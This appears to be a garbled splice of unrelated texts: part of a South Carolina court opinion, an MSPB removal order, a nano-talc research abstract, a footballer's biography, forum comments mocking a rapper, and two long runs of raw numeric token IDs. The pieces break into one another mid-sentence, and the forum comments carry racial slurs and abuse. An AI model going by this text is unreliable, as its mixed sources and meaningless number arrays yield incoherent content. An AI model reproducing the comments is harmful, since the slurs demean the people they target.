gives me additional concern is the reason Judge Howard characterizes the evidence of Cherry's intent as "not substantial." In dismissing this evidence because it could have supported the inference that Cherry intended to use rather than distribute the crack cocaine in his possession, he appears to follow the directive in State v. Manis, 214 S.C. 99, 51 S.E.2d 370 (1949), that when the prosecution attempts to prove guilt by circumstantial evidence, an acquittal is warranted unless the circumstances "point conclusivelythat is, to a moral certaintyto the guilt of the accused;... and they must further be absolutely inconsistent with any other reasonable hypothesis than the guilt of the accused." Id. at 101, 51 S.E.2d at 371 (citations omitted). The supreme court, however 289 has since overruled Manis and its progeny on this very issue. State v. Edwards, 298 S.C. 272, 379 S.E.2d 888, cert, denied, 493 U.S. 895, 110 S.Ct. 246, 107 L.Ed.2d 196 (1989). ANDERSON, J. (concurring and dissenting): Within recent years, the rule of circumstantial evidence in the criminal trial venue has evoked more etymological responses by academics, commentators, and judges than any other criminal trial principle. The most common error found in the literature and case law is the tendency to isolate circumstantial evidence from its utilitarian aspect in regard to the trial jury (i.e., fact finders) into an academic vacuum analysis by legal scholars. In the criminal trial arena, the "circumstantial evidence" principle juxtaposes the trial judge and jury in reference to their duties and function. Initially, a trifurcated review must be undertaken: (1) What is
[ 1388, 407, 253, 2965, 13, 344, 753, 15, 187, 187, 688, 253, 22849, 13, 500, 406, 310, 10000, 342, 4320, 8213, 15, 187, 187, 510, 48048, 310, 1955, 275, 1302, 3063, 313, 20443, 1638, 10, 5001, 247, 12027, 689, 2579, 13697, 323, 1029, 14, 423, 36167, 6500, 15, 187, 187, 34, 2567, 407, 253, 1416, 273, 2951, 250, 9117, 3916, 500, 406, 858, 417, 2075, 323, 12692, 3238, 2264, 272, 598, 281, 370, 1099, 13, 20181, 25277, 7647, 53, 25059, 6625, 37267, 187, 187, 1785, 34274, 323, 1422, 187, 187, 17277, 273, 24100, 45, 187, 187, 17277, 273, 24100, 45, 187, 187, 7883, 253, 7435, 24505, 670, 521, 259, 471, 718, 3736, 760, 858, 6421, 285, 344, 457, 84, 1929, 323, 253, 2389, 731, 840, 3553, 731, 2118, 342, 512, 521, 549, 1440, 382, 457, 84, 15, 187, 187, 570, 835, 10821, 187, 187, 88, 471, 718, 9405, 31297, 77, 91, 10739, 1537, 417, 894, 247, 3491, 2866, 7461, 374, 1056, 779, 1014, 625, 42837, 187, 187, 43, 406, 13, 310, 671, 4361, 521, 1735, 2199, 13, 521, 2626, 5400, 13, 2305, 15, 17453, 457, 84, 3532, 39895, 13, 534, 943, 923, 253, 1708, 273, 1388, 407, 253, 2965, 13, 344, 753, 15, 187, 187, 45, 187, 187, 43, 406, 3916, 374, 452, 512, 436, 2583, 533, 16216, 2075, 323, 11803, 6500, 12692, 32, 187, 187, 1843, 6873, 187, 187, 43, 3231, 4110, 443, 1277, 35, 7669, 13, 4889, 388, 2415, 1267, 45429, 59, 329, 7999, 443, 1139, 8728, 7651, 36855, 4827, 15, 16093, 773, 45, 16569, 1042, 20466, 58, 668, 7840, 1433, 4110, 16449, 4827, 41603, 2637, 13, 17706, 13573, 13556, 33219, 16093, 7840, 1433, 329, 7999, 443, 1139, 6725, 2293, 39733, 35286, 35, 6117, 15, 29632, 52, 9277, 13556, 4392, 37453, 46184, 3887, 52, 322, 13003, 2637, 427, 2431, 40, 1719, 13573, 13556, 33219, 330, 5656, 6725, 2293, 28239, 1372, 5942, 8220, 187, 187, 43, 406, 310, 411, 471, 1255, 347, 310, 9405, 14957, 15, 2064, 3492, 310, 11755, 347, 7435, 2167, 15, 380, 78, 3511, 14957, 8290, 452, 642, 1524, 2852, 275, 253, 17845, 2165, 15, 309, 452, 690, 7535, 323, 731, 295, 20878, 284, 15, 2949, 12695, 1267, 4672, 187, 187, 72, 6231, 3241, 377, 187, 187, 1147, 369, 247, 2791, 323, 779, 672, 344, 2210, 562, 13, 344, 2335, 5750, 273, 352, 285, 1160, 690, 1818, 15, 309, 247, 565, 10279, 387, 779, 323, 326, 15, 1292, 436, 5798, 9242, 7519, 52, 281, 2471, 19639, 23877, 595, 3765, 471, 2961, 13, 642, 12816, 387, 512, 309, 6329, 15, 49920, 13, 672, 309, 3748, 13290, 5184, 326, 35058, 13, 344, 310, 387, 253, 1755, 273, 17450, 1618, 2112, 342, 25293, 6362, 5006, 4672, 309, 16216, 923, 779, 2403, 667, 625, 6046, 342, 436, 1735, 2199, 15, 309, 9239, 10231, 500, 406, 313, 284, 271, 9558, 5803, 347, 247, 4929, 25246, 187, 187, 1147, 457, 84, 10412, 849, 841, 277, 14735, 1379, 3746, 10369, 15, 500, 406, 20509, 11532, 344, 457, 84, 2714, 285, 326, 344, 476, 5926, 271, 5400, 326, 588, 5580, 285, 897, 521, 1416, 281, 3727, 625, 22630, 313, 24757, 31297, 77, 91, 10, 326, 344, 11121, 588, 5580, 15, 1310, 344, 574, 12816, 840, 625, 1612, 281, 779, 533, 309, 476, 457, 85, 3343, 281, 923, 436, 10739, 892, 412, 1892, 15, 187, 187, 55, 7556, 1023, 8047, 187, 187, 24757, 296, 1190, 91, 13, 25293, 6362, 12143, 13, 657, 15, 42, 15, 36, 15, 708, 37667, 33831, 8139, 15, 665, 253, 269, 4, 33, 76, 310, 15428, 841, 42493, 84, 15, 17314, 310, 275, 247, 372, 14, 38314, 552, 1375, 672, 436, 23550, 310, 689, 3515, 253, 2329, 47003, 15, 733, 457, 84, 8872, 326, 672, 309, 971, 281, 4089, 690, 32811, 11298, 326, 309, 457, 78, 25184, 715, 253, 12278, 16, 43357, 16, 17185, 659, 569, 672, 253, 24517, 544, 15383, 62, 10988, 1132, 841, 42493, 84, 9575, 577, 89, 247, 2360, 15, 9870, 249, 12143, 310, 253, 7880, 9065, 4498, 309, 457, 306, 3735, 275, 247, 7085, 66, 1048, 673, 285, 352, 457, 84, 24851, 281, 1158, 326, 9366, 11853, 310, 3981, 773, 4779, 13, 326, 439, 2, 85, 310, 9405, 15, 2091, 858, 3168, 10988, 1265, 4882, 625, 285, 1805, 45469, 16890, 544, 10342, 314, 8937, 4726, 17314, 62, 685, 616, 10106, 35751, 32, 45469, 16890, 38494, 533, 11505, 4963, 17314, 3133, 751, 352, 457, 84, 670, 281, 6507, 1282, 275, 253, 2822, 2852, 15, 11239, 2656, 13, 323, 253, 2102, 2008, 592, 5010, 309, 5476, 352, 651, 320, 13714, 416, 7, 35, 15, 187, 187, 79, 20878, 2320, 409, 6441, 29155, 187, 187, 71, 1807, 480, 406, 285, 253, 4498, 344, 1694, 562, 15, 30144, 718, 1024, 285, 1996, 26996, 299, 5009, 35281, 310, 278, 28709, 295, 20878, 284, 3523, 11298, 281, 436, 17845, 10739, 15, 16829, 323, 253, 1524, 1711, 2143, 10739, 672, 352, 574, 10359, 15, 2666, 667, 9370, 6858, 476, 513, 436, 10739, 13, 783, 2165, 310, 35598, 598, 15, 187, 187, 4629, 6963, 187, 187, 3529, 6036, 2802, 13565, 5006, 457, 310, 745, 253, 10584, 15, 11425, 320, 11941, 347, 5497, 331, 794, 8311, 383, 3540, 273, 4204, 807, 15, 47, 4692, 14, 22559, 68, 10308, 4219, 14857, 14, 1637, 278, 14, 3479, 275, 1966, 15431, 15, 187, 7834, 2024, 1979, 5141, 273, 5269, 68, 432, 2494, 14, 281, 6399, 5829, 1079, 13237, 8655, 697, 27863, 2299, 697, 10142, 2442, 310, 1335, 417, 14859, 15, 496, 253, 1655, 1263, 359, 2540, 2559, 14857, 14, 1637, 13, 5274, 14, 18, 2461, 285, 5274, 14, 23, 7959, 2308, 275, 15431, 7329, 281, 42026, 14, 41520, 68, 313, 6369, 481, 3840, 13, 20483, 6353, 671, 2692, 31239, 13655, 273, 1097, 268, 1839, 285, 29494, 18, 16, 19, 7178, 2299, 44454, 13655, 369, 15550, 15, 5729, 14, 21272, 273, 15431, 342, 268, 1839, 285, 29494, 18, 16, 19, 11531, 2057, 3815, 390, 275, 5019, 2692, 1534, 5141, 275, 14857, 14, 1637, 7959, 7882, 13, 4518, 7738, 616, 2554, 275, 14857, 14, 1637, 7959, 28366, 285, 2048, 15, 3824, 7313, 4518, 5183, 253, 10142, 2442, 273, 20483, 6353, 534, 1537, 320, 387, 1878, 7898, 285, 2442, 5122, 275, 5269, 68, 14946, 20192, 886, 414, 275, 253, 7329, 3072, 15, 13238, 12679, 775, 478, 27073, 187, 187, 13238, 12679, 775, 478, 27073, 313, 6448, 1722, 3978, 10226, 10, 310, 247, 45207, 5702, 31926, 665, 7120, 347, 247, 42857, 323, 17871, 88, 12584, 2006, 304, 9296, 15, 187, 187, 29431, 187, 18852, 521, 5249, 775, 478, 27073, 556, 4546, 387, 2710, 15202, 1475, 611, 16537, 682, 285, 2378, 275, 3729, 14, 28886, 5427, 15, 754, 3053, 387, 16527, 304, 700, 7852, 1078, 14167, 36250, 266, 15, 754, 840, 4395, 281, 1608, 408, 543, 418, 1432, 543, 273, 253, 309, 14, 43174, 323, 247, 2372, 1078, 27326, 1699, 16527, 304, 700, 7852, 15, 754, 840, 7402, 598, 4882, 323, 48091, 1417, 275, 253, 2263, 7317, 893, 15794, 6884, 15, 187, 187, 2374, 577, 4565, 4072, 352, 369, 15335, 6138, 326, 775, 478, 27073, 574, 6704, 342, 15493, 328, 378, 12043, 329, 15, 36, 15, 273, 253, 309, 14, 43174, 15, 187, 1328, 1160, 521, 11386, 327, 721, 4565, 4072, 1411, 1986, 322, 15, 36, 15, 387, 253, 23790, 9396, 21246, 275, 534, 344, 11691, 374, 7342, 275, 253, 1384, 394, 285, 5329, 12, 18, 296, 2909, 2975, 285, 4546, 7357, 5091, 12, 25, 394, 2909, 1078, 1146, 7932, 407, 329, 487, 263, 8700, 15858, 543, 39101, 347, 15493, 328, 378, 12043, 1912, 253, 3761, 577, 14, 17, 15, 187, 187, 1779, 478, 27073, 6138, 327, 521, 6745, 3239, 275, 6247, 13, 326, 344, 574, 7416, 17871, 88, 12584, 2006, 304, 9296, 15, 187, 187, 4941, 187, 187, 1413, 27, 14209, 10782, 187, 1413, 27, 14316, 952, 187, 1413, 27, 47, 8047, 757, 23236, 187, 1413, 27, 48598, 15416, 266, 322, 15, 36, 15, 313, 44, 16537, 682, 10, 3773, 187, 1413, 27, 2809, 408, 543, 418, 1432, 543, 401, 15, 36, 15, 3773, 187, 1413, 27, 48598, 328, 378, 12043, 329, 15, 36, 15, 3773, 187, 1413, 27, 42829, 2653, 1403, 5102, 1986, 401, 15, 36, 15, 3773, 187, 1413, 27, 28521, 5842, 32856, 187, 1413, 27, 42, 14, 43174, 3773, 187, 1413, 27, 42, 14, 43174, 374, 2109, 9333, 3773, 187, 1413, 27, 47, 8047, 757, 36624, 684, 275, 5427, 187, 1413, 27, 1672, 44001, 366, 23236, 275, 5427, 187, 1413, 27, 1672, 44001, 366, 23236, 275, 43828, 50254, 50275, 33249, 18746, 3481, 46063, 187, 50254, 38097, 1433, 47095, 52, 4653, 30948, 8286, 20466, 10449, 2756, 50273, 51, 3519, 40740, 28281, 6366, 1139, 13, 50254, 50270, 37, 9466, 2025, 35286, 15051, 187, 50261, 16667, 13, 50254, 50276, 6663, 14, 29631, 19, 14, 1012, 14, 18348, 19, 14, 42, 14, 18, 535, 50260, 87, 15, 535, 50273, 2573, 26765, 10634, 3481, 34428, 11535, 13, 50254, 50276, 33762, 27, 4223, 3127, 13, 4059, 187, 50261, 8903, 1371, 15, 5429, 50262, 30308, 36121, 1556, 19140, 4110, 36429, 14364, 36, 1703, 34172, 337, 535, 50267, 47495, 15967, 329, 15, 34694, 13, 8647, 7061, 13, 11637, 13, 323, 253, 7048, 15, 535, 50267, 44, 6950, 418, 15, 10388, 28807, 13, 1457, 330, 44113, 13, 11637, 13, 323, 253, 6757, 15, 2756, 50254, 252, 50264, 8728, 31966, 535, 50254, 50272, 34706, 266, 308, 3467, 74, 1997, 1504, 8420, 13, 21240, 187, 50254, 50272, 49493, 353, 15, 31424, 13, 17979, 21240, 187, 50254, 50270, 4744, 329, 15, 6625, 37267, 13, 17792, 2756, 50254, 245, 50265, 29003, 1556, 19140, 187, 187, 7307, 18, 50269, 510, 6757, 556, 4724, 247, 5266, 323, 2278, 273, 253, 3302, 3061, 13, 534, 187, 50273, 84, 461, 1243, 253, 6757, 457, 84, 7934, 4179, 273, 36052, 914, 1257, 4202, 247, 7671, 37216, 187, 50273, 2858, 4784, 27285, 253, 12339, 281, 247, 5091, 14, 1201, 13394, 15, 50269, 2214, 253, 4606, 5469, 5429, 50273, 18, 187, 50270, 34, 1327, 20355, 1624, 1340, 310, 581, 326, 253, 5986, 556, 3413, 1057, 417, 823, 187, 50273, 9188, 36211, 281, 253, 2133, 273, 353, 4350, 35, 1083, 1569, 15, 44340, 778, 26542, 1327, 20355, 1624, 7367, 13, 187, 50273, 2858, 824, 7367, 452, 642, 8436, 1624, 1318, 28, 253, 5986, 285, 10656, 16006, 403, 417, 187, 50273, 17354, 281, 956, 390, 12129, 731, 275, 667, 2852, 7089, 15, 496, 4499, 13, 247, 187, 50273, 20355, 1624, 3061, 6808, 347, 271, 26157, 285, 9700, 556, 644, 3636, 407, 253, 5986, 187, 50273, 284, 3012, 15979, 281, 253, 5986, 457, 84, 1083, 1569, 15, 2594, 608, 330, 15, 39, 15, 51, 15, 3015, 1249, 520, 15, 12231, 9, 68, 481, 8675, 50254, 50254, 50254, 50266, 374, 535, 50273, 27490, 13, 359, 44646, 253, 6757, 457, 84, 5266, 323, 2278, 13, 329, 25862, 46, 253, 3302, 3061, 187, 50273, 1042, 14865, 13, 657, 1934, 4966, 352, 2949, 14865, 13, 285, 9838, 3409, 253, 6757, 457, 84, 12339, 273, 8570, 15, 187, 7307, 19, 50269, 17588, 521, 5263, 387, 789, 323, 745, 14, 37163, 21600, 13, 253, 6757, 4845, 253, 187, 50273, 34657, 327, 10656, 3553, 285, 840, 39450, 14116, 779, 15, 23280, 187, 50273, 40417, 8490, 313, 5236, 39, 582, 19660, 721, 387, 3307, 14, 1237, 13, 7652, 15, 50268, 510, 7048, 858, 417, 4549, 521, 187, 50273, 39686, 2452, 15, 50274, 1328, 23383, 8106, 275, 1375, 1302, 281, 247, 2014, 17974, 1385, 273, 187, 50273, 993, 12426, 342, 6860, 281, 7257, 16394, 285, 369, 16290, 281, 374, 1107, 273, 187, 50273, 22275, 318, 15, 50274, 2618, 15, 387, 7652, 15, 50275, 510, 6757, 6808, 247, 4366, 273, 4081, 8570, 285, 13, 187, 50273, 34814, 253, 7048, 457, 84, 7946, 285, 3542, 32114, 13, 5176, 779, 327, 247, 2014, 4179, 187, 50273, 1171, 36052, 914, 1257, 4202, 247, 7671, 37216, 15, 50266, 2618, 15, 387, 8319, 14, 3208, 15, 50275, 510, 7048, 187, 50273, 6243, 3256, 281, 253, 5986, 15, 309, 9006, 13, 19660, 337, 15, 11977, 247, 4854, 13, 253, 10656, 5963, 187, 50273, 14541, 326, 253, 6757, 4232, 253, 6636, 745, 14, 37163, 21600, 285, 247, 47103, 316, 187, 50273, 17352, 253, 21600, 285, 253, 6733, 273, 253, 2579, 15, 309, 9006, 13, 19660, 1722, 13, 23280, 187, 50273, 9150, 1297, 313, 1838, 10, 387, 608, 15, 4129, 253, 10656, 5963, 10945, 253, 7048, 457, 84, 187, 50273, 37307, 800, 5684, 273, 5492, 11081, 5001, 253, 6757, 457, 84, 4327, 273, 187, 50273, 3878, 9724, 13, 344, 4784 ]	day by the fall, he said. In the meantime, Joc is busy with legal matters. The rapper is due in court today (July 14) regarding a dispute over service rendered for high-end stereo equipment. A company by the name of Stereotypes claims Joc did not pay for installation services totaling up to $25, 000.—LaTisha Robbins Recommended for You Best of XXL Best of XXL Who the fuck cares about his wack ass? only diddy and he’s known for the love them then leave them move with all his arttist’s. ne where gang wack ass Hot Stylz shit might not cell a copy…then 2 make him even more lame Joc, is also reading his next project, his third album, Mr. Robinson’s Neighborhood, which should see the light of day by the fall, he said. L Joc claims 2 have all this money but cant pay for studio equipment installation? LEXX JOC IS GARBAGE, AND HOTSTYLEZ AINT GON BE NO BETTER. THAT “LOOKIN BOY” SHIT IS ENTERTAINING, BUT WE ALL KNOW THAT SHIT AINT GON SELL BIG NUMBERS. WHATS WITH ALL THESE LABELS SIGNING NIGGAS WE ALL KNOW CANT SELL RECORDS?? Joc is Wackness as is Hot styles. That video is funny as fuck though. Them hot styles boys have no real future in the rap game. I have some advice for them niggas. INVEST!! giantstepp It was a market for him when he came out, he took advantage of it and made some change. I aint mad at him for that. But this cat SUCKS to death….totally prepackaged, no talent at all IMO. Personally, when I mention hip hop that sucks, he is at the top of MY list along with Soulja boy!! I cant see him making any more noise with this next project. I hate Young Joc (as an artist NOT as a brother)! It’s crazy how these dudes take themselves seriously. Joc honestly believes he’s special and that he can drop an album that will sell and use his name to release more garbage (Hot Stylz) that he thinks will sell. If he had talent then more power to him but I can’t wait to see this shit flop hard. Vicious Seiger Hotstylz, Soulja Boy, V.I.C. & Ace Hood …. who the f#@k is signing these clowns. Rap is in a de-evolutionary state when this crap is over running the airwaves. It’s sad that when I want to hear some worthwhile listening that I’m tuning into the Pop/Party/White Stations when the Urban [Black] stations play these clowns songs 4x a night. Lookin Boy is the absolute worst song I’ve heard in a hella long time and it’s scary to think that somewhere somebody is saying “Man, that sh!t is Hot. When did white stations start playing more and better Hip Hop [Mostly Old School Rap] than their urban affiliates? Hip Hop Lives but Mainstream Rap seems like it’s about to flatline in the near future. Thank God, for the Independents otherwise I guess it would be strictly R&B. niggafrommemphis fuck joc and the song he got out.grown ass now and later candy eatin bullshit is makin niggas stop listening to this rap shit.except for the real old school shit when it had substance.now any crack baby can do this shit,the game is fucked up. kay king that joint ‘looking boy’ is off the hook.should be awarded as mo st funniest track of da year.Nano-talc stabilizes TNF-alpha m-RNA in human macrophages. Particle size reduction of talc from micro- to nanoscale gradually enhanced its cytotoxicity however its inflammatory potential is still not explored. In the current study we observed increased TNF-alpha, IL-1beta and IL-6 mRNA levels in macrophages exposed to Nano-Talc (NT). Further, NT particles also showed constituent phosphorylation of both p38 and ERK1/2 pathway however JNK phosphorylation was transient. Pre-treatment of macrophages with p38 and ERK1/2 inhibitors either alone or in combination showed significant reduction in TNF-alpha mRNA stability, clearly suggesting their role in TNF-alpha mRNA stabilization and expression. Our observations clearly demonstrated the inflammatory potential of NT particles which might be at least partial and potential mechanism in talc mediated pathogenecity in the exposed population.Christopher Chizoba Christopher Chizoba (born 17 June 1991) is a Nigerian professional footballer who plays as a striker for Welwalo Adigrat. Career Through his career Chizoba has played at various clubs around Kolkata and once in North-East India. He started at Kalighat MS before joining Mohammedan. He then moved to Shillong Lajong of the I-League for a bit before rejoining Kalighat MS. He then ended up playing for Peerless in the Calcutta Football League. On 4 December 2013 it was officially announced that Chizoba had signed with Mohun Bagan A.C. of the I-League. He made his debut on 6 December 2013 against United S.C. at the Salt Lake Stadium in which he scored 2 goals in the 20th and 45+1st minutes respectively and played till 90+8th minutes before being replaced by Aiborlang Khongjee as Mohun Bagan won the match 4-0. Chizoba announced on his Facebook page in 2019, that he had joined Welwalo Adigrat. References Category:1991 births Category:Living people Category:Nigerian footballers Category:Mohammedan S.C. (Kolkata) players Category:Shillong Lajong F.C. players Category:Mohun Bagan A.C. players Category:Ayeyawady United F.C. players Category:Association football forwards Category:I-League players Category:I-League 2nd Division players Category:Nigerian expatriates in India Category:Expatriate footballers in India Category:Expatriate footballers in Myanmar UNITED STATES OF AMERICA MERIT SYSTEMS PROTECTION BOARD RODNEY HOWERTON, DOCKET NUMBER Appellant, PH-0752-13-0292-I-1 v. DEPARTMENT OF DEFENSE, DATE: August 21, 2014 Agency. THIS FINAL ORDER IS NONPRECEDENTIAL 1 Randolph A. Elliott, Camp Hill, Pennsylvania, for the appellant. Karen L. Saxton, New Cumberland, Pennsylvania, for the agency. BEFORE Susan Tsui Grundmann, Chairman Anne M. Wagner, Vice Chairman Mark A. Robbins, Member FINAL ORDER ¶1 The agency has filed a petition for review of the initial decision, which sustained the agency’s sole charge of Conduct Unbecoming a Federal Employee but mitigated the penalty to a 90-day suspension. For the reasons discussed 1 A nonprecedential order is one that the Board has determined does not add significantly to the body of MSPB case law. Parties may cite nonprecedential orders, but such orders have no precedential value; the Board and administrative judges are not required to follow or distinguish them in any future decisions. In contrast, a precedential decision issued as an Opinion and Order has been identified by the Board as significantly contributing to the Board’s case law. See 5 C.F.R. § 1201.117(c). 2 below, we GRANT the agency’s petition for review, AFFIRM the initial decision IN PART, VACATE it IN PART, and reinstate the agency’s penalty of removal. ¶2 Following his arrest at work for off-duty misconduct, the agency placed the appellant on administrative leave and then indefinitely suspended him. Initial Appeal File (IAF), Tab 6 at 22-32, 43. The appellant did not appeal his suspension. He pleaded guilty in state court to a single felony count of possession with intent to deliver cocaine and was sentenced to 2 years of probation. Id. at 43. The agency issued a notice of proposed removal and, following the appellant’s oral and written replies, removed him on a single charge of Conduct Unbecoming a Federal Employee. Id. at 51-56. The appellant appealed to the Board. IAF, Tab 1. Following a hearing, the administrative judge found that the agency established the charged off-duty misconduct and a nexus between the misconduct and the efficiency of the service. IAF, Tab 17, Initial Decision (ID) at 5. Although the administrative judge rejected the appellant’s affirmative defense of race discrimination regarding the agency’s choice of penalty, he mit
[ 10, 11189, 835, 370, 57, 5, 310, 247, 7691, 2560, 386, 1789, 273, 669, 1588, 92, 36, 724, 285, 370, 58, 5, 247, 13244, 386, 1789, 273, 669, 1588, 92, 37, 3363, 187, 187, 1231, 588, 897, 253, 5426, 273, 10603, 8470, 3066, 7349, 303, 40869, 13009, 15, 380, 4737, 2987, 347, 973, 342, 45666, 13009, 15, 380, 3067, 4346, 3019, 39, 13, 40, 1009, 14757, 271, 3067, 4346, 387, 253, 1268, 273, 10659, 9050, 3318, 39, 8048, 1588, 92, 36, 4799, 3442, 889, 918, 33028, 84, 61, 1588, 92, 37, 4799, 3442, 17168, 40, 4700, 3954, 1339, 669, 2162, 27, 34, 1743, 14696, 889, 4287, 14694, 378, 1743, 14696, 724, 320, 247, 1720, 6368, 7691, 11457, 875, 1720, 6368, 7691, 2560, 386, 5113, 273, 669, 1588, 92, 36, 4799, 3442, 3363, 831, 310, 6425, 13, 407, 5426, 13, 281, 1333, 326, 323, 1046, 7007, 370, 83, 5, 253, 3711, 3318, 1035, 2260, 1337, 2162, 11824, 83, 27, 45, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 61, 4287, 14694, 378, 63, 83, 1890, 5802, 407, 669, 2162, 5, 285, 253, 298, 16464, 1789, 5140, 370, 45, 1743, 14696, 94, 34, 5, 310, 247, 7691, 11457, 275, 669, 1588, 92, 36, 3363, 1281, 441, 1908, 253, 7450, 483, 1764, 38651, 92, 187, 45, 63, 83, 34, 61, 274, 60, 83, 9955, 274, 60, 69, 35830, 45, 63, 83, 61, 2162, 94, 708, 329, 63, 83, 61, 274, 60, 69, 62, 3202, 187, 45, 63, 83, 35, 61, 274, 60, 83, 62, 708, 418, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 187, 10878, 380, 958, 326, 669, 2162, 5, 310, 247, 1720, 6368, 7691, 11457, 8018, 326, 323, 1046, 370, 83, 1366, 253, 3711, 370, 45, 63, 83, 61, 2162, 5, 310, 247, 7691, 11457, 15, 3932, 7691, 2560, 569, 403, 6474, 762, 7450, 8349, 13, 253, 3711, 370, 34, 63, 83, 61, 4287, 418, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 5, 310, 671, 247, 7691, 11457, 15, 2896, 9376, 13, 253, 7349, 303, 40869, 1789, 370, 34, 1743, 14696, 724, 310, 1720, 6368, 7691, 2560, 386, 13, 594, 352, 310, 275, 1798, 1127, 3020, 7691, 2560, 386, 15, 844, 27566, 326, 370, 45, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 5, 310, 7691, 2560, 386, 15, 10244, 13, 1016, 370, 35, 63, 83, 5, 310, 7691, 2560, 386, 1580, 370, 35, 1743, 14696, 724, 310, 1720, 6368, 7691, 2560, 386, 15, 380, 3711, 9722, 2260, 1337, 2162, 11824, 83, 5, 310, 247, 7691, 11457, 875, 7691, 2560, 386, 5113, 285, 370, 39, 5, 310, 247, 1669, 3277, 408, 257, 27259, 13, 594, 370, 39, 9, 1035, 2260, 1337, 2162, 11824, 83, 1009, 310, 247, 7691, 11457, 273, 669, 1588, 92, 37, 724, 875, 7691, 2560, 386, 5113, 15, 28285, 326, 253, 370, 83, 768, 394, 724, 298, 16464, 1789, 5140, 310, 2931, 407, 247, 847, 16563, 15, 1284, 247, 1669, 39200, 13, 253, 27259, 370, 39, 5, 764, 2279, 342, 847, 27368, 594, 359, 755, 247, 7691, 11457, 3318, 45, 63, 83, 39, 9, 35, 1743, 14696, 8395, 21592, 16104, 578, 45, 63, 83, 39, 9, 34, 1743, 14696, 22613, 39, 9, 34, 63, 83, 1572, 4287, 14694, 401, 9, 35, 63, 83, 11127, 831, 2097, 326, 370, 39, 1035, 2162, 1009, 310, 247, 1720, 6368, 7691, 11457, 275, 669, 1588, 92, 37, 4799, 3442, 3363, 3954, 13, 1677, 326, 1720, 6368, 5075, 5217, 2979, 403, 253, 1127, 3020, 5217, 2979, 13, 604, 669, 2162, 5, 310, 247, 1720, 6368, 5075, 19945, 875, 1720, 6368, 7691, 2560, 386, 5113, 840, 352, 310, 275, 1798, 247, 1127, 3020, 5075, 19945, 875, 1127, 3020, 7691, 2560, 386, 5113, 13, 7613, 370, 39, 1035, 2162, 1009, 310, 247, 1720, 6368, 5075, 19945, 275, 669, 1588, 92, 37, 4799, 3442, 3363, 844, 7525, 326, 370, 39, 5, 14757, 247, 1669, 3277, 408, 257, 27259, 875, 7349, 303, 40869, 5113, 323, 253, 1720, 6368, 1566, 5289, 15, 496, 1798, 13, 352, 16965, 667, 7349, 303, 40869, 3665, 273, 247, 7691, 2560, 386, 1789, 370, 57, 5, 273, 669, 1588, 92, 36, 724, 281, 247, 7349, 303, 40869, 3665, 273, 370, 39, 9, 57, 3822, 187, 187, 510, 20169, 1840, 6556, 604, 253, 7349, 303, 40869, 3665, 323, 253, 1669, 14, 4608, 10603, 2317, 310, 6777, 281, 320, 253, 2460, 762, 370, 39, 5, 273, 253, 7349, 303, 40869, 3665, 273, 253, 987, 14, 4608, 10603, 2317, 15, 1292, 6983, 326, 7349, 303, 40869, 13009, 327, 247, 1677, 1789, 403, 512, 22112, 6425, 13, 594, 326, 323, 667, 4327, 273, 7349, 303, 40869, 3665, 359, 755, 387, 1878, 22112, 6425, 10603, 8470, 15, 187, 187, 4120, 22357, 8470, 273, 8697, 5289, 689, 247, 4198, 187, 43500, 187, 187, 34, 34838, 2317, 273, 8697, 5289, 689, 247, 4198, 370, 49, 1366, 327, 247, 1677, 2570, 370, 57, 1366, 310, 247, 45666, 873, 3692, 2792, 403, 253, 4198, 45278, 370, 49, 61, 4287, 8072, 64, 57, 1352, 6102, 247, 34838, 2317, 476, 320, 625, 3839, 2931, 327, 21302, 273, 820, 10050, 12872, 15, 187, 187, 1466, 370, 49, 5, 247, 7691, 2560, 386, 4198, 285, 370, 57, 5, 320, 247, 820, 10050, 2570, 15, 380, 34838, 2317, 273, 370, 49, 2911, 20190, 5289, 327, 370, 57, 5, 310, 253, 45666, 873, 31506, 2931, 407, 3318, 49, 6921, 57, 61, 4203, 18968, 1126, 1588, 92, 49, 4935, 49, 61, 5786, 61, 3442, 1743, 14696, 2023, 7689, 64, 57, 11189, 835, 370, 49, 61, 5786, 61, 3442, 1743, 14696, 724, 310, 247, 7349, 303, 40869, 6064, 273, 370, 49, 1366, 390, 3318, 49, 6921, 57, 61, 4203, 18968, 1126, 1588, 92, 49, 4935, 49, 13, 7689, 64, 57, 1743, 3442, 1743, 14696, 599, 11127, 835, 370, 7689, 64, 57, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 6064, 273, 370, 7689, 64, 57, 1352, 3932, 1046, 820, 10050, 2570, 689, 247, 1673, 310, 13244, 386, 285, 7691, 2560, 386, 13, 1046, 277, 72, 4198, 310, 13244, 386, 27, 253, 958, 326, 370, 49, 5, 310, 7691, 2560, 386, 285, 370, 7689, 64, 57, 5, 310, 13244, 386, 8018, 326, 841, 767, 42764, 1918, 253, 1072, 34838, 2317, 598, 281, 32866, 15, 187, 187, 1231, 476, 2168, 755, 767, 4722, 3607, 273, 841, 34838, 8470, 27, 187, 187, 22229, 18, 10, 380, 45666, 873, 370, 49, 6921, 57, 10952, 310, 247, 20626, 2570, 285, 697, 4802, 4295, 1918, 253, 5217, 2979, 5971, 273, 370, 49, 2911, 20190, 5289, 327, 370, 57, 1366, 891, 15, 70, 1764, 2059, 64, 17, 49, 6921, 57, 22092, 14829, 544, 49, 13, 7689, 64, 57, 35830, 24721, 1035, 1588, 92, 49, 2311, 10878, 187, 187, 22229, 19, 10, 6000, 5075, 19945, 273, 7691, 2560, 386, 29060, 370, 49, 61, 23386, 464, 3549, 2704, 4287, 94, 50, 5, 4245, 6054, 281, 247, 5075, 19945, 273, 13244, 386, 45666, 5239, 370, 50, 6921, 57, 22092, 23386, 464, 3549, 2704, 4287, 94, 49, 6921, 57, 19562, 187, 187, 6872, 3607, 3587, 3637, 432, 253, 3607, 273, 45666, 10603, 8470, 275, 1566, 9050, 1008, 41, 343, 1570, 380, 2169, 8077, 1271, 273, 841, 34838, 8470, 22573, 2169, 45666, 27999, 412, 447, 875, 27999, 412, 447, 15, 187, 187, 2214, 277, 72, 29060, 359, 476, 2686, 755, 6843, 45666, 30285, 27, 187, 187, 1466, 370, 49, 5, 320, 247, 4198, 275, 370, 1779, 1126, 1991, 92, 44, 11971, 1281, 441, 4853, 370, 49, 1743, 3442, 1743, 14696, 4018, 407, 3318, 49, 1743, 3442, 1743, 14696, 4935, 